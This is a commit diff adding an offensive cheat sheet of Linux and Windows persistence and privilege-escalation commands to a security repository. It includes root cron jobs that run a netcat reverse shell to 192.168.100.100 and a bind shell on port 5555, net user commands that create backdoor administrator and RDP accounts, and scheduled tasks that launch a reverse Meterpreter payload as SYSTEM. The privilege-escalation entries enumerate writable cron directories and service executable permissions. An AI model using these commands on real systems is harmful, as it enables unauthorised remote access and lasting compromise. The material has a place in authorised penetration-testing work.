some simple priv escalation and persistence TTPs added

Author: cw

Diff for: linux/persistance.md

@@ -1,3 +1,9 @@
 # Place Holder
 
+## Add a new cron job to the current user's crontab that will try to connect back to 192.168.100.100:50224 every 10 minutes:
+```(crontab -u root -l; echo "*/10 * * * * nc 192.168.100.100 50224 -e /bin/bash") | crontab -u root -```
+
+## Add a new cron job to the current user's crontab that will try to open a bind port every 10 minutes on port 5555:
+```(crontab -u root -l; echo "*/10 * * * * nc -lvp 5555 -e /bin/bash") | crontab -u root -```
+
 Content coming. Feel free to submit ;-)

Diff for: linux/privesc.md

@@ -1,3 +1,8 @@
 # Place Holder
 
-Content coming. Feel free to submit ;-)
+## 1 List Writeable Cron Directories
+```ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null```
+### Credit
+http://www.securitysift.com/download/recon_scan.zip
+
+More content coming. Feel free to submit ;-)

Diff for: windows/persistance.md

@@ -1,3 +1,17 @@
 # Place Holder
 
+## Add an Administrator
+```net user adm adm1 /add```
+```net localgroup administrators adm /add```
+
+## Add a Limited User with RDP Access
+```net user lowlevel lowlevel1 /add```
+```net localgroup "Remote Desktop USers" lowlevel /add```
+
+## Schedule a Bind or Reverse EXE Payload to Run
+```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\reverse_met_https_v2.exe" /sc MINUTE```
+
+## Scheduel a Bind or Reverse EXE Payload to Run as SYSTEM
+```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\reverse_met_https_v2.exe" /sc MINUTE /RU "SYSTEM"```
+
 Content coming. Feel free to submit ;-)

Diff for: windows/privesc.md

@@ -1,3 +1,12 @@
 # Place Holder
 
-Content coming. Feel free to submit ;-)
+## 1 Get Permissions On Service Executables
+- 1a. Generate list of executables
+```for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:\windows\temp\msntemp.tmp```
+- 1b. List Permissions - \Users:(I)(F) would be nice :)
+```for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\msntemp.tmp) do cmd.exe /c icacls "%a"```
+#### Credit
+https://www.linkedin.com/pub/ben-clark/8/116/644
+
+
+More content coming. Feel free to submit ;-)